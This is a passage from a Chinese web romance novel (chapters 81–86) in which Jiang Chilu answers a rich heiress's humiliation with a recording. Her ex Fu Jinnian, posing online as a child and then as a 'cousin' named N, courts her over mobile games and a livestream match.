他从花里胡哨的嘻哈裤口袋拿出钱包。
而江迟鹿的目光却在他身后百米外的马路上。
马路上有来往观海的人流,还有慢悠悠骑着自行车的休闲旅客。
其中停在路边的一辆黑色迈巴赫,因为车牌号的特别,被几个人驻足望了好几眼,还有人忍不住偷偷拍照。
车门从后座被人拉开,男人身上的西装从远处看依旧透着考究,加之身形修长,站在迈巴赫前仿佛是走秀来的模特。
又吸引了好一波的旅客观看。
但他的眼神直直望向一个地方。
随即低头拿出手机。
几秒后,江迟鹿感觉到自己的口袋里面的手机震动了两下。
她还没有拿出手机看消息。
眼前,那个男孩抓着钱包里的现金随手抛在脚边,“够了吧?这下能回去拿轻轻想要的防晒霜了吧。”
江迟鹿扫了一眼沙滩上红花花的纸钞。
她感觉脸上很烫,那种被人踩着脸羞辱的感觉,明明自己根本没做错什么,却还是被捉弄的无力,无奈,以及......委屈。
这时,她脑子里才是真真正正的冒出了最恶劣的想法。
第八十一章 录音
苏轻的女主位置,真的有那么稳吗。
现在剧情不是一崩再崩了吗,干脆让它崩的彻底吧。
尤其面前这个人,他以为他算什么啊,一个没有素质的垃圾,low货,什么都不知道,就在这里像无脑的暴发户一样拿钱砸人。
这样的人居然是女主的伙伴。
就因为这些人沾了女主的光,所以即便干起坏事来,也只会让人觉得他们应该的,他们就是这样的吗。
“还不捡起来?等着风吹走了你练练跑步啊?”男生恶劣地冲她笑,“要是真的被风吹走了,小姐姐你可就要自己给钱了哦。”
江迟鹿将手插进口袋,指腹摸到了手机。
她看向苏轻,此刻面上已经没有了工作时会拿出来的微笑,而是冷漠,寒人,“苏小姐,你确定真的不是这一瓶防晒吗。”
苏轻一眼也没有看,鼻息发出哂笑,“不是,你要我说几遍你才能听懂?上面那么大的字写着,我又不是瞎子。”
“那你和周礼说的也不是这个咯?”她问。
苏轻声音自然,“不是。”
“好,那我回去重新给你拿。”
江迟鹿说完,又看向刚才那朝着自己扔钱的男生,“不过是几百块钱而已,周礼应该还是报销得起的,地上的钱就劳烦你自己捡了。”
她夺过苏轻手里的防晒转身就走。
苏轻惊了一下,“你干什么,把东西还给我。”
江迟鹿头也没转回去,抬头晃了晃手里的防晒霜,“你不是说不是这个嘛,你皮肤敏感又脆弱,想来这种随便拿来的也用不了,我回去给你拿新的。”
苏轻没想到江迟鹿会这样做,被怼得一句话也说不出来。
她皮肤敏感需要专门的防晒霜,这一次偏偏忘记带了,她原本可以叫家里的佣人送过来的,但是她想到了之前看到朋友圈里周礼带着江迟鹿一起玩。
莫名就想到了这个一直跪舔自己的人,所以才故意给他发消息让他帮自己送过来。
苏轻摸着自己已经开始泛红的脸,盯着江迟鹿已经走远的身影,咬牙切齿,“那要等到什么时候去了,我会被晒伤的。”
......
江迟鹿提着防晒霜回去,傅靳年看着她手里的东西,打开了车门才问,“东西没给出去?”
江迟鹿没有上车,盯着他看。
心里种下的那个念头在慢慢的发芽,再来一点水的滋养就能破土冲出。
“是啊,她说我拿错了,不是这个.......”她的语气越来越弱,脸上也是少见的委屈,“可是周礼说的就是这个啊......我也不知道为什么,她非要说不是这个,而且......她的朋友还莫名其妙拿钱扔我,说我要是心疼来回跑腿费,他给我出。”
傅靳年盯着她,眼神略有些深意,却还是问,“所以你现在要做什么?”
“还能做什么,当然要回去找到大小姐的防晒然后再送过来了。”
傅靳年的目光落在她身上,将她从头到脚看了一眼,最终与她对视,“这么听话?”
语气里带一点悠扬,“上司面前你都没有这么听话。”
江迟鹿坐进车里,她看向傅靳年,开口问:“那你现在是......既没有未婚妻也没有女朋友?没有暧昧对象吗?”
“暧昧对象?是指包括你在内吗?”
江迟鹿顿了一下,目光看向另一边,点头。
傅靳年:“没有。”
“......”江迟鹿瞥他一眼,冷冷的,“上车。”
傅靳年嘴角扬起笑容,盯着她,开口问,“还是你希望我回答其他的?江迟鹿,来之前我问过你,但是你装聋。”
他在提醒她。
谁知道身旁的人被他戏弄了一次之后就不回话了。
傅靳年坐上车后说,“要不你再问一次?”
江迟鹿看向司机:“直接回医院。”
傅靳年对此没有一个字的异议,两人都仿佛直接将要给苏轻送防晒的事情给抛进垃圾箱了。
等两人到达医院时。
苏轻在沙滩边,脸上被晒得已经开始出现晒伤斑了,还有些轻微掉皮。
凌语还在旁边安慰她,“应该快了,江迟鹿应该正在来的路上了吧,你家里不是只有那一个牌子的防晒霜吗,她就是回去,女佣肯定也只会给她那个牌子的防晒霜,再忍忍。”
苏轻看着小镜子里自己细腻的皮肤一下子被晒出斑点来,吓得眼睛都红了,“她肯定是故意把防晒霜拿走的!她就是故意的!”
苏轻咬牙:“她凭什么呢,我一开始还在宴会上帮她说话,可她却故意勾引靳年,毁掉了我跟靳年的婚约,原本傅爷爷很属意我当靳年的未婚妻的,如果没有她,我现在已经是靳年的未婚妻了!她到底凭什么啊,家里又穷,还是单亲,甚至连京市的房子都买不起,却敢跟我抢人。”
凌语蹙了下眉,“你跟傅靳年不是还有小时候的情分吗,他怎么能拒绝两家联姻呢,就算他爷爷同意了,他爸爸也不会同意的吧?只是傅叔叔现在还在国外不知道呢。”
她安抚苏轻:“轻轻你别担心,这只是一时的,等傅叔叔回国了,这件事情肯定会重新商量的。”
医院里。
江迟鹿毫不掩饰地当着傅靳年还有周礼另外四个朋友的面,把录音放给了周礼听。
周礼的病床上还放着她带回来的防晒霜。
没有听录音前,周礼还捏着手里的防晒霜,一脸茫然,“是这个不错啊,轻轻是不是看昏眼了。”
听了录音后,周礼的脸色明显冷了下去很不好看。
谁都听出来苏轻是在故意刁难江迟鹿,尤其苏轻的朋友,居然还做出丢钱这么恶心低劣的事情来,简直是败坏他们这些游手好闲二代的名声。
更让周礼惊讶的是,苏轻为什么会纵容这样的人在身边,为什么会纵容那种傻货欺负江迟鹿。
她不是这个世界上最善良单纯的小天使吗。
明明是走在路上看到受伤的小狗都会送去宠物医院的善良小女孩。
突然一下,心中纯良小女孩的另一幕不加修饰的暴露在他面前。
他有些不知所措,和不可思议,还有怀疑。
第八十二章 这是我表哥
周礼拿着手机,又听了一次录音,他不会听错的,那确实是苏轻的声音。
顿时,心里的那层美好滤镜裂了缝。
“不好意思啊迟鹿。”他脸上带着歉意递还给她手机,勾过自己的手机,操作一顿。
下一秒,江迟鹿的微信收到了来自周礼的转账五万元。
周礼还发了一个可爱小猫求饶的表情包。
她心中雀跃了一下,还是钱让人开心啊。
“没事哒没事哒,你要不要问一下到底送什么防晒?”她语气挺轻松,听得出来没有一丝生气。
周礼这才松了一口气,头往松软的枕头上靠了靠,闭着眼摇头,“不用送了,她可能是不需要吧。”
“不过......”周礼看向傅靳年,“傅哥怎么又回来了?难道你们俩一起的?”
江迟鹿从容点头:“他有车,顺便送我过去,傅总真是个好人啊,还专门送我回来。”
她笑眯眯看向傅靳年,“是吧,傅总。”
眼里的狡黠十分灵动。
导致傅靳年被她这样阴阳一顿也没有感到不适,眉梢轻佻了一下。
病床上躺着的周礼看着两人眉来眼去的,皱了皱眉,“小鹿鹿,你怎么叫他傅总啊。”
江迟鹿被这个问题问得一愣,两只手搓了搓,嘴角灿烂一笑,“因为傅总看起来就很傅总啊,你看这一身穿的,一看就是个总裁,哈哈。”
周礼眼中带了笑意,身体往前倾了倾,“那你觉得我和傅哥比,谁更帅气啊。”
他仰着头,盯着江迟鹿看。
下垂的眼尾,双眼皮,金色蓬松的发丝遮挡了一些眉眼,却挡不住眼睛里亮闪闪的光。
看起来像一只端坐好乖乖等着人摸的大型金毛犬。
江迟鹿随口道:“你你你,当然是全世界最懂潮流的你。”
刚给她转了五万,可不得多夸夸。
周礼撇了下嘴角,“看起来不是很真诚呢。”
江迟鹿被逗笑,“周少对自己这么不自信吗。”
“那你认真点夸我。”他唇角扬着笑,盯着她。
原本专注的眼神,被旁边站过来的傅靳年挡住。
他脸上的笑容一下僵滞住,“傅哥,您应该很忙吧?要不您忙您的去吧,我能照顾好自己的,谢谢你今天来看我。”
傅靳年嘴角勾出一丝笑容,平平淡淡的,却渗人。
周礼往后倾了倾,有种被鬼盯上了的感觉是怎么回事。
他站立在病床前,身形高大,压迫感十足,声音平静,“你哥叫我多看着点你。”
“哦......”周礼像被泼了一层冷水的金毛,蔫了下去。
他打个哈欠:“好无聊啊,你们在这白看着也是白看着,要不我们来打牌?”
江迟鹿无语的看了一眼他挂在脖子上的手,“你就一只手了,消停点吧。”
“什么就一只手了!我另一只手只是暂时受伤,又不是不会好了,而且打牌一只手也能打啊!”他举起自己的右手,“你看,我手掌又大,手指又长,还特别有劲,单手握牌不在话下,别说握牌了,我能单手抱你信不信。”
他说着朝江迟鹿招手,“你过来试试。”
傅靳年弯腰,握住他的手塞进被子,“好好休息。难道你想我跟你家里人说你一只手都打石膏了还想折腾另一只手?”
“哦......谢谢傅哥提醒,我知道了。”他感觉这样的傅靳年好吓人,像鬼一样。
江迟鹿看向靠着墙坐的四位,“你们玩吧,我得回去了。”
周礼眼神有些失落,“好吧,也是,你明天还要工作呢,那你好好休息。”
江迟鹿点了点头,刚往外走了两步,被周礼叫住,“小鹿鹿,你在哪里工作啊?今天.......你不是因为我受委屈了吗?要不我给你找份更好的工作?”
周礼并没有察觉到吗,他一说出这话,傅靳年盯着他的那眼神沉的......像刚从阴河里爬出来阴鬼。
......看来周衍对他弟弟还是太放纵了。
“呃,不用。”江迟鹿其实有些尴尬,旁边就站着她上司呢,她晃了晃手机,“已经够了。”
江迟鹿出去后,傅靳年看向周礼:“我看你也没什么事,我先走了。”
周礼人一愣,“你刚才不是说要.......”
傅靳年冷淡道:“我想起来有点事要忙。”
周礼巴不得他早点走呢,“那你快去忙你的事吧,我这里没什么需要帮忙的了。”
傅靳年刚走出去没多久,周礼收到了哥哥发来的消息。
周衍:
-我看还是太纵容你了,生活费减半,另外你那些车除了一辆日常代步的,其他的全部没收。
周礼发出一声哀嚎,并不知道背后是谁在助力,还以为是自己这次进医院真把周衍惹生气了。
.......
江迟鹿回家前就约了齐佑筠晚上打游戏。
刚洗漱完上床迫不及待点进游戏,冲动消费了两个新皮肤。
“嗯?今天不是还没放假吗,小孩怎么来了。”江迟鹿一进房间就看到了熟悉的齐佑筠的小号。
齐佑筠开麦,轻咳了一声,“他今天身体不舒服请假在家里。”
“身体不舒服还打游戏啊?小孩你不会是故意装病吧。”
江迟鹿心里有种负罪感,像是带坏小孩一样。
毕竟小孩年纪现在还小,可能不懂事,一时沉迷游戏,但是他们这些成年人不能随着他们来。
尤其这还不是陌生人,是齐佑筠家的亲戚。
“没事,他成绩很好的,所以家里人才答应他请假。”
齐佑筠好一顿说才说服过去。
江迟鹿刚买了一个好看的新皮肤,于是直接选了那个英雄,是玩中路的,英雄名字叫西施。
夜风以前跟他们一起玩时经常玩的打野路,这次下意识也选了,反应过来后开麦问,“小孩要玩这个是不是?那我换个。”
齐佑筠的小号:不用,我这次玩辅助吧。
江迟鹿笑了笑,“你还会辅助呢,不过小孩,你直接开麦吧,多方便,打字麻烦,放心,我们都知道你是小朋友,你不用在意声音什么的。”
江迟鹿不知道这会儿齐佑筠的微信已经被人轰炸了。
-谁让你当初给我安排一个小孩人设的?
-我开不了麦她怀疑了怎么办。
齐佑筠:
-大哥,你也没说你要什么人设啊,我不是为了不让她起疑心,就顺口说了,你要早跟我说你要个什么人设,我不就能直接说了吗。
-要不你说你抽烟,声音比较磁性成人。
傅靳年:
-......
齐佑筠:
-你自己想办法换个人设呗,比如小孩的表哥啊啥的。
傅靳年觉得这个行。
他回到游戏又回复江迟鹿:不麻烦。
江迟鹿也就没说什么了。
玩到晚上十一点,江迟鹿强行遣散大家,“这都十一点了,我们这还有小朋友呢,小朋友要早点睡,以后才能长高。”
齐佑筠的小号:又是长高.......
江迟鹿笑了笑:“让你长高点又不是害了你。”
退出游戏后,傅靳年用小号给江迟鹿又推了一个号码。
-姐姐,这是我表哥,他游戏也打得很好的,你先加上,下次我们一起玩吧。
第八十三章 玩吗
江迟鹿刚看到的时很惊讶,不好意思加。
又不认识。
-要不下次一起玩了之后再加吧,我跟你表哥也不认识啊。
谁知道这话刚发出去,那位‘表哥’已经发了消息过来申请添加她为好友。
江迟鹿看着那个黑色头像,昵称是N,犹豫了一下后同意了好友。
和上次加这个小孩一样,下意识的点进他的朋友圈先窥探一番。
和小孩的空荡荡不一样,这位‘表哥’的朋友圈仅三天可见,且一个小时前发了一张夜景的照片。
透明落地窗可以看见外面的阑珊城市,又通过玻璃上的倒映,可以看见模糊的室内。
可以肯定的是,这个‘表哥’家里估计很大,装修风格也贵贵的感觉,虽然模糊,但那种高级格调已经透了出来。
不过想到那个小孩也有钱,表哥有钱也正常。
对面主动发来了一个你好。
江迟鹿也同样发了一个你好过去。
到此就结束了,谁也没有再发消息。
江迟鹿没有管了。
小孩问她:
-怎么样?你加上了吗?
-加上了,不过你表哥怎么称呼啊?我看他昵称是N,总不能直接叫他N吧。
-你跟我一起叫哥哥呀,他比我们都大。
江迟鹿愣了一下,“呃,直接叫哥哥?这不太好吧,怎么腻腻歪歪的,而且.......”
-小孩,你知道我具体多大?你怎么确定你表哥比我大?
-我从齐佑筠那里知道的啊,你跟他年纪一样,我哥都27了,肯定比你们大啊。
-哦,27的人还有时间打游戏啊,真羡慕,我现在都很少抽得出时间打游戏了。
-......他比较闲,你想打游戏我没放假的话,都能叫他。
-呃,还是以后玩熟了再说吧,我现在只敢叫你。
-姐姐不会是爱上我了吧。
这话一出来,江迟鹿脑子里想的是一个可爱的小男孩用萌萌的声音在开玩笑。
所以很自然的回复:
-是啊,姐姐要爱死你了,学习又好,游戏也玩得好,还这么小,可见你未来前途一片光明啊!晚上被亮得睡不着吧。
-未来有你的话,确实会睡不着。
江迟鹿笑出了声。
-你这在哪学到的土话,小朋友,别乱学了,晚安。
-晚安,姐姐。
江迟鹿退出聊天,躺在床上,看了一眼窗户外面。
突然又想到了那个朋友圈里面的有格调的大房子。
现在的她还买不起,但是,未来总有一天买得起。
想到这,她又点进了那个朋友圈,看到那张照片,在脑子里幻想自己未来也能住在自己买的大房子里,喝着红酒,看着窗外的华丽夜景。
一想到这样的生活,她忍不住笑了起来,虽然她现在还只是一个月薪两万二的打工人,想在好一点的地段买那种漂亮大房子,估计得几千万吧,够她存的。
刚愁绪上来,朋友圈刷新了一下,又是N发的照片。
一张湿身的腹肌照。
背景是她只在电视里见过的豪华浴室,大浴缸,红酒,香氛。
照片里面只露出上半身腹肌,脸也截了,喉结很性感,腹肌往下是更致命的人鱼线,......还有青筋。
她脸慢慢的在变红,“这个‘表哥’也太骚了吧。”
他是不是忘记屏蔽自己这个刚加的陌生人了?
这种照片不是应该设置仅他喜欢的人可见吗。
还是说这哥们就是专门出来钓女人的?
想着想着,江迟鹿忍不住又看了两眼,“这身材真好.......”
让她想起了傅靳年的......
大学的时候傅靳年每天都会锻炼,那个时候就有腹肌了,还是她最喜欢的那种不薄不厚刚刚好的,穿衣显瘦脱衣有肉。
两人放假单独待在出租屋的时候,他会提前起来做早餐,端到床上喂她吃。
她脑子还没清醒,手已经会摸腹肌了,就一边享受着帅哥喂的早餐,还享受着帅哥的腹肌。
那段日子她别提多快乐了,一想到这么好的帅哥还是自己追来的,顿时更有成就感了,一想到他还那么抢手,还有种成就感。
“至少......第一次给我了,还是赚到了!”江迟鹿说道。
点头,低眼一看,瞳孔骤缩——她刚刚不小心给那张腹肌照点赞了。
“不....不不不不不,no——”
她十根手指头像是不受神经控制一样,仓惶无措,手机掉在被子上,她瞪着自己的昵称出现在点赞条上。
“no——”
江迟鹿想取消。
结果——那条朋友圈居然没了。
她疯狂的点进N的朋友圈试图找出来。
结果真的没有了。
老天,救命,他肯定是看到自己的点赞了,他肯定是想起来忘记屏蔽自己了。
她还没跟他打游戏了,在他心里已经成女色批了,虽然她本来就是,但是她要面子啊。
江迟鹿死了一般躺在床上,她想换个星球生活。
这要是熟人就不说了。
可偏偏两人还没认识,偏偏她越过那条夜景朋友圈直接点赞人家的腹肌照。
再怎么羞耻懊恼也没用了,江迟鹿决定装死,装什么都不知道,下次小孩要是邀请她和表哥打游戏,她就说在工作。
嗯,就这样。
不,也不行,这位‘表哥’能主动来加自己,说明小孩也跟他说了下次一起打游戏,要是他们来邀请自己,不答应的话反而像是心里有鬼......
江迟鹿在心里纠结着,不知道纠结了多久,昏昏沉沉睡了过去。
.......
过了一周,在周六晚上,江迟鹿刚洗漱完,躺在床上打算看会儿外刊保护一下自己的英语语感。
手机滴了一声。
她拿起手机一看。
N:
-玩吗?
瞬间,暂时遗忘的尴尬犹如蝗虫过境席卷她的大脑。
浑身发烫。
不行,她得冷静,她得冷静。
对面还能主动来邀请自己玩游戏,说明一点也不在意那件事......吧?在她点赞后立马屏蔽了她估计也只是不好意思让她这个陌生人看吧?实际上人家根本没有多想什么。哈哈哈也只能这样安慰自己了。
-玩啊。
她发送过去。
第八十四章 这是挺绿茶的一句话
进了房间后,她发现就自己和他两个人在,气氛顿时更尴尬了。
她打字:齐佑筠和你弟弟不玩吗。
N:他等会儿来,我弟弟今天晚上要上补习课。
过了一会儿,齐佑筠带着夜风来了。
开一局新的,江迟鹿发现这位‘表哥’和那小孩一样玩打野位置。
她玩的是辅助,有些心不在焉的,主要是尴尬。
要是没有这位‘表哥’在的话,她估计是可以好好玩的。
“江迟鹿,你走神呢,刚刚怎么不挡一下。”齐佑筠说。
江迟鹿看着他掉了一半的血条,“不好意思,刚刚想起个事。”
“什么事?”这道声音低沉磁性,从手机里传出来虽然带着点电音,但还是能听出来,是很好听的声音。
江迟鹿一时没反应过来这是谁说的。
等到‘表哥’操控着英雄过来救被三个敌人围攻的她和齐佑筠,她才反应过来。
他的操作很厉害,反杀了那三个人,还给江迟鹿送了一个人头。
齐佑筠嘀咕:“我发育很重要的,你怎么不给我。”
江迟鹿听到那道好听的声音说:“你可以自己打。”
她心跳有些加速,想到了那天晚上手误点赞的事情。
要不然跟人道个歉?
可是这也太尴尬了,万一人家根本不在意呢。
不在意他刚刚为什么突然问什么事呢。
是不是在提醒自己手误的事情。
哎呦不就是腹肌吗,又不是全身裸照,干嘛这么小气,而且还是他自己忘记屏蔽她了。
真以为她稀罕看啊,她又不是没看过,傅靳年的比他好看多了,她不仅看过还摸过呢。
突然,脑子里冒出傅靳年的十八禁画面。
心里更慌乱了。
上次暗示他之后,两人这几天一切都如常,除了工作上的事很少聊其他的。
他到底有没有get到自己的意思呢。
“江迟鹿!”齐佑筠的暴怒先一步降临到她头上,“草丛那么明显的有人,你跑过去送死?”
“对不起对不起,我的错。”她看着暗下去的界面,吐出一口气,“今天状态不好。”
“怎么会突然状态不好,不会是你刚和......”齐佑筠还不知道怎么叫现在的傅靳年,他顿了一下,“怎么?第一次和我们小哥哥打游戏,所以胆怯了?哈哈你放心,他技术很好的,也不会骂女孩子。”
夜风开口笑道:“这么绅士,是不是平时经常跟妹子一起玩?”
江迟鹿顿了一下。
看吧,她就说这个‘表哥’发那照片肯定是为了钓女人来的,就连夜风都看出来了。
他肯定不在意多一个女人看了他的腹肌照。
那他在自己点赞后又屏蔽自己做什么呢?
“齐佑筠,怎么之前不见你带他跟我们一起玩啊。”江迟鹿问道。
“啊......那不是怕你不想和陌生人玩吗。”齐佑筠随口回了一句。
“哦......”她声音落下,另一道磁性的声音响起,“辅助,来拿蓝。”
江迟鹿顿了一下,看了一眼,N已经把蓝给她打好了。
她从齐佑筠身边离开跑过去,“嘿嘿,谢谢表哥。”
“咳咳......哈哈表哥什么鬼。”齐佑筠忍不住笑。
江迟鹿回:“小孩说我跟着他叫。”
N嗓音有些怪的开口:“他说的是.....让你叫我表哥吗?”
表哥,哥哥。
虽然只是相差一个字,但是叫出来的感觉可就差多了。
“是吧,他说你年纪比我们都大,还是......你不想我叫你表哥?大佬?怎么样?我感觉你对得上这个称号,你跟我平时喜欢看的游戏主播玩的一样好,而且声音也都好听诶。”
她乖乖拿了蓝就回去找齐佑筠了。
N看着她毫不犹豫的背影,问:“游戏主播:是谁?”
“就是某音上的葡萄哥,你刷到过吗?”江迟鹿忍不住多说了两句:“他真的玩的特别厉害,而且人也特别好,幽默风趣,又不低俗,情商很高。”
“......没刷到过。”N嗓音淡了些,随口应道。
江迟鹿没听出来他声音里的不喜,给他推荐,“他还经常放福利呢,我有次在他直播间抽中了手机......还是最新款的Promax。”
齐佑筠我去了一声,“真的假的,推给我推给我,你运气真好啊,我从来没中过手机这玩意。”
两人你来我去的开始聊中奖这事。
N默默的杀人,一个两个,直到对面全灭。
江迟鹿听到系统播报声音,愣了一下,“这把顺风局。”
N开口:“等会儿把你说的那个主播也推给我吧。”
江迟鹿哦了一声,“好的。”
玩到十二点才停,江迟鹿截图了葡萄哥的主页发给N,忍不住又点进了他的朋友圈视奸。
继承上次的朋友圈后,他又更新了一条,是刚才一起玩游戏,她得MVP的那一把截图。
配文是:挺厉害。
江迟鹿被这三个字弄得脸红了。
不都是他给自己喂人头吗,居然还在朋友圈发这话,这是夸赞还是阴阳?
思来想去,江迟鹿忍不住自恋的想,不会是......想钓她吧。
江迟鹿又赶紧点进自己的朋友圈看了一圈,她的朋友圈虽然很发照片,但是也有——试问哪个美女能忍不住不发?
她一天拍八百张。
所以,有一种可能是——他看了她的朋友圈后发现她是个美女决定钓她吸引她的注意力。
这样也就能解释为什么发腹肌照没有屏蔽自己,还在自己手误点赞后故意立马屏蔽。
这是在吸引自己的注意力啊。
江迟鹿点开和小孩的聊天界面。
-小孩,我问你个问题。
对面很快回复:
-什么?
-你告诉我,你表哥是不是谈过很多女朋友?
不然怎么这么会撩。
对面回了一个问号。
江迟鹿以为他是没理解到意思,于是又解释了一下。
-平时是不是经常跟女孩子打游戏。
-没有。
-没有?你确定?
-确定。
江迟鹿还是不信,估计对面还有良心,知道不能祸害小孩,所以撩妹的时候不带小孩一起玩。
江迟鹿想了想,又点进了N的朋友圈。
在那条朋友圈下面评论。
-哇,帮我炫耀我的优秀战绩吗。
这是挺绿茶的一句话,她就是故意想看他的反应。
第八十五章 现在知道谁更厉害了?
没过多久,江迟鹿收到对面的回复。
-嗯,毕竟是第一次。
她盯着这句话,耳朵发烫,这人说的话......怎么都像是个撩妹狂魔。
她没再回复。
点进了某音打算看一下葡萄哥直播分散注意力。
谁知道刚点进去,发现葡萄哥的直播间正在展示嘉年华。
评论全是谁啊刷这么多。
她去看是谁送的,看到id却一愣,N?
她有些不敢相信的点进了N的主页,这应该是个刚创的号,关注为零,头像默认,背景默认。
但她不知道为什么,就是感觉......是他。
手机界面切换到微信,她发消息问N。
-你去看葡萄哥了吗。
-嗯。
-你现在在看他直播吗?
-嗯。
-啊!我刚刚看到一个id叫N的人给葡萄哥刷嘉年华,我第一反应还以为是你。
-是我。
江迟鹿盯着那两个字眼神呆滞。
这人到底是多有钱,刚认识的主播给送这么多钱。
-看来你是对他‘一见钟情’了?
对面没有回复,江迟鹿继续看葡萄哥的直播。
直播间传来了葡萄哥偏温柔型磁性的声音,“嗯?榜一大哥想跟我打一把。”
江迟鹿又是一愣。
她点进和N的聊天框。
-你,你要跟他pick啊。
-嗯。
那边只有简单的回话,江迟鹿一时不知道再发些什么过去好。
她还以为他一直送礼物是因为喜欢,没想到是为了跟他打啊。
江迟鹿又回到了直播间,葡萄哥还真的答应了他。
两人定的三局两胜,打1v1。
第一局,N输了。
江迟鹿都替他尴尬了,葡萄哥的直播间有上万人呢。
她还特意去安慰了一下。
-没事的,人家本来就是专业的,天天打,跟我们这种平时打着玩的不一样,你已经很厉害了。
实则江迟鹿躺在床上人已经要笑傻了,一想到这是他连刷好几个嘉年华得来的丢脸的机会,笑得肚子疼。
第二局,N赢了。
顿时,直播间的弹幕就不一样了。
散散爱葡萄:这哥们是真的有点实力啊。
小姐姐一枚:不会真能赢了葡萄吧。
路人甲:要是真被一个突然冒出来的素人赢了,估计葡萄得被笑话了。
并且原本零关注零粉丝的N主页的粉丝人数也一直在增加。
这时,江迟鹿收到了N发来的微信。
-你觉得谁能赢。
江迟鹿犹豫不定,她还真不知道,他输了第一局的时候她觉得葡萄会赢,但是他赢了第二局......她又觉得是他会赢了。
-感觉你们两个都很厉害。
-都?行,今天让你看一下谁更厉害。
江迟鹿回到直播间,听到葡萄开麦问对面,“真的打得很不错,不如今天就这样吧?”
江迟鹿不禁感叹,葡萄是真的情商很高啊。
评论区也是粉丝在夸葡萄。
路人乙:葡萄真是心慈手软。
矿泉水来一打:那不然呢,这位可是榜一大哥,这会儿放一马,以后多个大哥护着。
番茄方便面:但是我还真的挺好奇到底谁能赢,毕竟现在一人赢了一局,葡萄不会是怂了吧。
爱葡萄:怎么可能,明显就是葡萄让着这位大哥好不,呵呵。
这时,对面那个毫无信息突然砸钱出现的榜一大哥开口了:“不用,继续吧。”
虽然只有简单几个字,评论区却一下偏了重点。
葡萄的小葡萄:这位小哥哥的声音太好听了吧。
简单吃一顿:好苏的声音,求再说两句吧啊啊。
葡萄软糖:我以为我们葡萄在游戏圈里已经是声音最好听的了,没想到这位素人居然更胜一筹。
江迟鹿对此类评论并不意外,N的音色真是没得说,他用的还不是专业的收音设备,声音会带着手机电流的一点磁音,但是还是能很轻松地听出来,是清晰又有苏感的那种声音。
关键是很自然,跟那些网上夹出来的完全不一样,就是简单说个话,也很撩人的那种。
江迟鹿第一次听的时候还感觉和傅靳年的声音很像。
葡萄开口:“好,那我们继续,不过我要跟大家解释一下,对面这位是真的挺厉害的,我两场都很认真打了,不存在我让着他的情况。”
弹幕已经沦陷在葡萄的人品中了。
路人丙:葡萄,跟你一辈子。
十八岁男大加我:葡萄哥,受你一辈子。
cuuqwnfld:葡萄你真的......对面明显挑衅来的,你还这么温柔。
江迟鹿从来都是默默观看,从来不评论。
这次却忍不住评论了一句。
峡谷凑数天花板:加油。
这一句简单的评论很快淹没掉。
但是江迟鹿下一秒却收到N的消息。
-加油是对谁说的?
江迟鹿身上的毛都立了一下。
-你怎么知道那是我?
-猜的,所以,是对谁说的?
江迟鹿迟疑了一下。
-对你们两个。
这很正常吧?毕竟严格来说,她认识葡萄可比认识他久多了。
对面没有回复。
江迟鹿点进直播间,发现大家都在讨论说N刚刚卡顿了一下,被葡萄刮了一大半的血。
葡萄询问他:“刚刚是网卡了吗?公平起见这局我们可以重开。”
N声音很平淡,“回了下消息,没事,继续吧。”
弹幕一下子炸了。
要三舅舅:我靠,好装。
小熊爱吃饼干:但是配合他的声音和技术,真的被装到了。
葡萄的小葡萄:我决定现在改名叫N的小n。
江迟鹿这会儿看着手机上方弹出来的消息。
-行
行?
行啥啊?
生气了吗?因为自己没有单独给他加油?
不过她更惊讶的是,都这个时候了,他还在回自己消息。
-你别回我了,认真打!
她视线刚从微信聊天小窗移到直播,发现就在刚刚,自己都还没看清的时候,葡萄被秒了。
第三局,是他赢了。
葡萄叹了口气:“对面不会是哪个电竞大佬来炸我的吧?”
葡萄的粉丝也都不敢相信,对面一个以前从来没出现过的人,就吊着残血给葡萄秒了。
N的小n:N哥牛逼。
花开富贵:楼上?你不是葡萄的粉吗。
N的小n:葡萄哥,对不起,只能让你见识一下这个社会的残酷了,等你下次赢了N我就回来。
愿有你:不可能吧,对面有挂。
葡萄将屏幕切回了主页,“对面的实力我能感觉出来的,确实挺牛的,我服输,不过希望下次能一起玩。”
弹幕都在讨论N到底是从哪里冒出来大佬炸鱼的时候,N正在给江迟鹿发消息。
-现在知道谁更厉害了?
第八十六章 会回到曾经的
高挑身影立在全景落地窗前,这个位置揽尽城市夜景。
他却无心观赏景色,盯着手机等待。
手机上,她的消息弹出来。
-是,你更厉害。
简单的几个字,却像按下琴键一样动听。
他嘴角微微上扬一个弧度。
这时,门铃暴躁的响了。
“铃铃......铃铃铃。”
一道铃声没响完,立马又被人按第二道。
他蹙着眉,走到门口,通过旁边的电子屏幕看到门外的情况。
周衍身上的西装已经乱糟糟的了,白色衬衫解了几颗纽扣,领带散乱挂在脖子上,看他脸上低沉的样子,像是喝了不少酒。
傅靳年站在门前犹豫,他不想放一个酒鬼进来家里搞破坏。
想了想,毕竟不是陌生人。还是给开了门。
门一开,周衍扶着墙坐在地上,按着头,“喝酒。”
傅靳年看他那混样,皱着眉头,“不喝,今天还算高兴。”
周衍眉梢挑了一下,“高兴?怎么,你跟江迟鹿有进展了?”
“算是?”
“什么情况?她不是很抵触你吗。”周衍自己捡起地上散落的高定西装,拖着衣服侧过身从他旁边进去。
傅靳年对于他闯入家里的行为并未阻止。
正好,他现在也需要一个人来倾听。
关上门,他拧着眉,让周衍坐地毯上,不许弄脏他的沙发。
周衍哪听,一屁股坐了下去,烦躁嘟囔,“你要是请不起阿姨,我明儿给你请一个。”
傅靳年吐出一口气,走过去,坐在旁边。
周衍扯下领带随手一丢,给自己倒了杯水,瞥向身边:“说吧,怎么个事。”
“我能感受到,她是因为我是‘傅靳年’所以才抵触我的。”
“废话。”他身体懒散往后一靠,无语道,“所以呢?”
傅靳年身上是浅灰的真丝睡袍,映得整个人沉稳又松弛,此刻,眉眼松动出一丝笑意,“我会让她再爱上我。”
周衍神色认真了些,看过去:“什么意思?”
傅靳年手握着玻璃杯,靠在意式真皮沙发上,吊灯落下的辉煌潋滟在他瞳仁,像荡漾的海。
他细细向周衍说,他是如何从一个小孩变成了表哥。
周衍听着,眉头越皱越深,摸了下脖子,“你居然......也会玩这么幼稚的游戏。”
周衍圈内朋友不少,不乏纨绔二代,见得多了玩得多了,人生了然无趣,也兴起过一阵这种玩法。
那都是高中的事了,他学业重,分身乏术,不打算跟着他们胡闹。
闹哄哄的人群在包间里手机对着手机互相汇报情况,他在沙发上喝酒解压,隐约听到了棠这个字,抬眼扫了一圈。
是其中一个人玩心大发,居然把主意打到了傅家大小姐傅今棠身上。
那人还跟他来了句,“周哥你不是跟她不对付吗,你看着,等我把人钓到手了.......”
他皱眉,打断那人狂妄的话,“你是活够了?去惹她......”
